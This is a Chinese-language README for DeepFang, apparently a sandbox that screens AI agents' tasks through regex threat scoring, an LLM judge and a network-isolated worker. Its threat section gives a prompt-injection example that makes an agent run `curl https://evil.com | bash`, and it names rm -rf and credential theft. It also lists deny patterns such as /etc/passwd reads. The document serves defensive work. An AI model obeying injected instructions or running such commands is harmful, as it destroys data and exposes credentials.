内容
# DeepFang
<p align="center">
<a href="https://github.com/casey/just"><img src="https://img.shields.io/badge/just-ready_to_go-7c5cfc?style=flat-square&logo=just&logoColor=white" alt="Just"></a>
<a href="https://github.com/astral-sh/ruff"><img src="https://img.shields.io/endpoint?url=https://raw.githubusercontent.com/astral-sh/ruff/main/assets/badge/v2.json" alt="Ruff"></a>
<a href="https://python.org"><img src="https://img.shields.io/badge/Python-3.13+-3776AB?style=flat-square&logo=python&logoColor=white" alt="Python"></a>
<a href="https://biomejs.dev"><img src="https://img.shields.io/badge/Linted_with-Biome-60a5fa?style=flat-square&logo=biome&logoColor=white" alt="Biome"></a>
<a href="https://github.com/PrefectHQ/fastmcp"><img src="https://img.shields.io/badge/FastMCP-3.2-7c5cfc?style=flat-square" alt="FastMCP"></a>
</p>
**人工智能代理执行沙盒。** DeepFang 位于 AI 代理和现实世界之间，通过三阶段管道筛选每个任务。
```
代理生成任务
→ DeepFang 净化任务 (正则表达式 + 威胁评分，<5ms)
→ DeepFang 审判任务 (DeepSeek-V4-Pro 大型语言模型，~2s)
→ DeepFang 执行任务 (隔离工作器，无互联网连接)
```
如果任务在任何阶段看起来有危险，则会被阻止。如果审判者无法做出判决，则任务会被阻止。如果工作器无法连接，则任务会被阻止。默认答案始终是 **否**。
---
## 为什么存在
AI 编程代理功能强大且日益自主。它们生成 shell 命令、编写文件、调用 API 和提交代码 — 通常比人类审查每个步骤更快。这产生了一种传统安全工具未设计的风险：
- 注入到检索的网页中的提示指令告诉您的代理执行 `curl https://evil.com | bash`
- 代理误解任务并生成 `rm -rf` 而不是 `rm -rf ./build`
- 受损的工具有效载荷利用代理的执行上下文来泄露凭证
- 链式多步骤计划包含 20 个安全步骤中隐藏的一个破坏性步骤
DeepFang 通过添加一个 **独立验证层** 来解决这些问题，代理本身无法绕过此层。即使代理被完全破坏，工作器在 Docker 网络层也无法访问互联网 — 它在物理上无法泄露数据。
请参阅 [docs/SAFETY.md](docs/SAFETY.md) 以获取完整的威胁模型和 [docs/ATTACK_VECTORS.md](docs/ATTACK_VECTORS.md) 以获取特定的攻击模式和缓解措施。
---
## 工作原理
```
┌─────────────────┐
│ AI 代理 / │
│ RoboFang / │ 通过 MCP 或 REST 发送任务内容
│ 您的代码 │
└────────┬────────┘
│
▼
┌─────────────────┐
│ 监管者 │ FastMCP 3.2 + FastAPI :10956
│ │ 唯一接触所有三个网络的服务
└────────┬────────┘
│
┌────▼────┐
│ 阶段 1 │ 净化器 :10958
│ │ 针对 rules.yaml 的正则表达式模式匹配
│ │ 内容评分 0.0（安全）→ 1.0（危险）
│ │ 硬拒绝：rm -rf，curl pipe bash，/etc/passwd，编码有效载荷
│ │ 返回：{allowed, threat_score, reason}
└────┬────┘
│ allowed = true
┌────▼────┐
│ 阶段 2 │ DeepSeek 桥 :10959
│ │ 云大型语言模型语义分析
│ │ 在上下文中读取任务，而不仅仅是模式匹配
│ │ 返回：{verdict: "approve"|"deny", rationale}
└────┬────┘
│ verdict = approve
┌────▼────┐
│ 阶段 3 │ 工作器 :10960
│ │ 隔离的 Docker 容器（internal: true）
│ │ 在网络层无互联网连接
│ │ 允许列表：git, python, node, npm, uv, cargo, go only
│ │ 返回：{success, output, exit_code}
└─────────┘
```
管道在第一次失败时停止。每个阶段都独立关闭 — 如果它无法响应，则任务将被阻止。
---
## 快速入门
```powershell
git clone https://github.com/sandraschi/deepfang
cd deepfang
just
```
这将打开一个交互式仪表板，显示所有可用的命令。运行 `just bootstrap` 以安装依赖项，然后运行 `just serve` 或 `just dev` 以启动。
### 手动设置
如果您没有安装 `just`：
git clone https://github.com/sandraschi/deepfang
cd deepfang
# 1. 配置
copy .env.example .env
# 编辑 .env — 设置 DEEPSEEK_API_KEY
# 2. 启动（如果缺少 Docker/Node，则自动安装）
.\start.ps1
仪表板在 `http://localhost:10957` 处打开。请参阅 [docs/INSTALL.md](docs/INSTALL.md) 以获取完整的设置说明。
## 文档
| 文档 | 内容 |
|----------|---------------|
| [docs/INSTALL.md](docs/INSTALL.md) | 完整安装、配置、首次运行 |
| [docs/ARCHITECTURE.md](docs/ARCHITECTURE.md) | 系统设计、数据流、网络拓扑 |
| [docs/SAFETY.md](docs/SAFETY.md) | 威胁模型、防御层、故障模式 |
| [docs/ATTACK_VECTORS.md](docs/ATTACK_VECTORS.md) | 特定攻击和 DeepFang 缓解措施 |
| [docs/ROBOFANG_INTEGRATION.md](docs/ROBOFANG_INTEGRATION.md) | 连接到 RoboFang 的安全管道 |
| [docs/OPENCLAUDE_INTEGRATION.md](docs/OPENCLAUDE_INTEGRATION.md) | 连接到 openclaude-mcp 以进行自动命令筛选 |
| [docs/WSL2_DOCKER.md](docs/WSL2_DOCKER.md) | Docker Desktop 波动修复 — WSL2 中的原生 Docker |
| [docs/SALVAGE_PLAN.md](docs/SALVAGE_PLAN.md) | v0.1→v0.2 历史（虚构容器故事） |
| [CHANGELOG.md](CHANGELOG.md) | 完整版本历史 |
## 仪表板
| 页面 | 功能 |
|------|-------------|
| 管道 | 完整的净化 → 审判 → 调度流程 |
| 威胁检查 | 任意命令的即时威胁评分 — 无需管道 |
| 脚本 | 粘贴并通过管道运行脚本，查看工作器输出 |
| 审计 | 所有审判决策，均有可验证的时间戳 |
| 聊天 | “DeepFang 专家” — 询问有关管道和 AI 安全性的问题 |
| 设置 | LLM 模型切换（DeepSeek 云 / Ollama 本地） |
| 帮助 | 攻击向量参考、硬拒绝列表、MCP 工具目录 |
---
## MCP 工具
将 Claude Desktop 或任何 MCP 客户端连接到 `http://localhost:10956/sse`:
| 工具 | 功能 |
|------|-------------|
| `deepfang_pipeline` | 单次调用完整管道 — 主要入口点 |
| `deepfang_sanitize` | 仅阶段 1 — 快速正则表达式扫描，返回威胁评分 |
| `deepfang_adjudicate` | 仅阶段 2 — LLM 判决及理由 |
| `deepfang_dispatch` | 仅阶段 3 — 需要事先在审计日志中批准 |
| `deepfang_audit` | 查询判决日志 |
| `deepfang_status` | 跨所有管道服务的健康检查 |
| `deepfang_agentic_workflow` | 通过 FastMCP 3.2 采样的多步骤目标 |
---
## 端口
| 服务 | 端口 | 目的 |
|---------|------|---------|
| 监管者 | 10956 | MCP SSE + REST API |
| 仪表板 | 10957 | Web UI |
| 净化器 | 10958 | 阶段 1 正则表达式引擎 |
| DeepSeek 桥 | 10959 | 阶段 2 LLM 审判者 |
| 工作器 | 10960 | 阶段 3 隔离执行器 |
| Prometheus | 10961 | 指标 |
| Loki | 10962 | 日志 |
| Grafana | 10963 | 可观察性仪表板 |
---
## 机队集成
DeepFang 连接到 [RoboFang](https://github.com/sandraschi/robofang) 的 `security.validate_action()`。高风险工具调用（`mcp_windows-operations_*`、`mcp_docker_*`、`skill_execute`）在执行前会自动通过管道路由。请参阅 [docs/ROBOFANG_INTEGRATION.md](docs/ROBOFANG_INTEGRATION.md)。
---
## 状态
v0.2.1 — 2026-05-04 完成日常功能（威胁检查、脚本、gitops 工作器）。
